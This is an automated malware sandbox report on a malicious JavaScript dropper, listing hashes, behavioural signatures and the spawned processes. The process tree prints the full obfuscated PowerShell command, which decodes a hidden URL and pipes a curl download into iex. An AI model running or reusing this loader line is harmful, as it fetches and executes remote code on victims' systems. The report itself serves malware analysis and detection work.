Overview

overview

10

Static

static

1

KNVX0789_9430262.js

windows7-x64

10

KNVX0789_9430262.js

windows10-2004-x64

10

Analysis

  • max time kernel
    139s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2023, 13:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    KNVX0789_9430262.js

  • Size

    349KB

  • MD5

    2f93a7e61bd8eb8b595fd67c130edbc2

  • SHA1

    61ff557dda346f2f91189c92456d946a41fb8f36

  • SHA256

    ec48d692547341789a9205f607983f9cd485435df4fefda1654a5eccbe12bfb0

  • SHA512

    aacac292f28ca38f44bd4e403b50b6f67d966779c1f28d3bb17935eb54c72f1b2a24f4bea438b3cb9dc10730e639793b9c41e3f80abe7134791d409e5e48c859

  • SSDEEP

    3072:YzyQ9OdYMPFJpcJcZknVewmBiUM1E2RfClUkhBEjyf/M:Y

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\KNVX0789_9430262.js
    1⤵
      PID:1936
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $xuzenjfhtlsb=(5081,5066,5083,5087,5084,5088,5067,5078,5012,5082,5077,5078,5013,5015,5012,5078,5070,5078,5029,5070,5063,5081,5070,5027);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $xuzenjfhtlsb){$awi=$rob9e;$eymcwroutjzl=$eymcwroutjzl+[char]($awi-4966);$vizit=$eymcwroutjzl; $lira=$vizit};$zghjovcqfeau[2]=$lira;$cohlgw='rl';$five=1;new-alias zwert cu$cohlgw;.$([char](9992-9887)+'ex')(zwert -useb $lira)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:5064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $xuzenjfhtlsb=(5081,5066,5083,5087,5084,5088,5067,5078,5012,5082,5077,5078,5013,5015,5012,5078,5070,5078,5029,5070,5063,5081,5070,5027);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $xuzenjfhtlsb){$awi=$rob9e;$eymcwroutjzl=$eymcwroutjzl+[char]($awi-4966);$vizit=$eymcwroutjzl; $lira=$vizit};$zghjovcqfeau[2]=$lira;$cohlgw='rl';$five=1;new-alias zwert cu$cohlgw;.$([char](9992-9887)+'ex')(zwert -useb $lira)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3448

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4nx2mqf.xqn.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/3448-9-0x000002121B670000-0x000002121B692000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3448-10-0x00007FFECCBC0000-0x00007FFECD681000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3448-11-0x000002121B6B0000-0x000002121B6C0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3448-12-0x000002121B6B0000-0x000002121B6C0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3448-15-0x00007FFECCBC0000-0x00007FFECD681000-memory.dmp

      Filesize

      10.8MB

      Download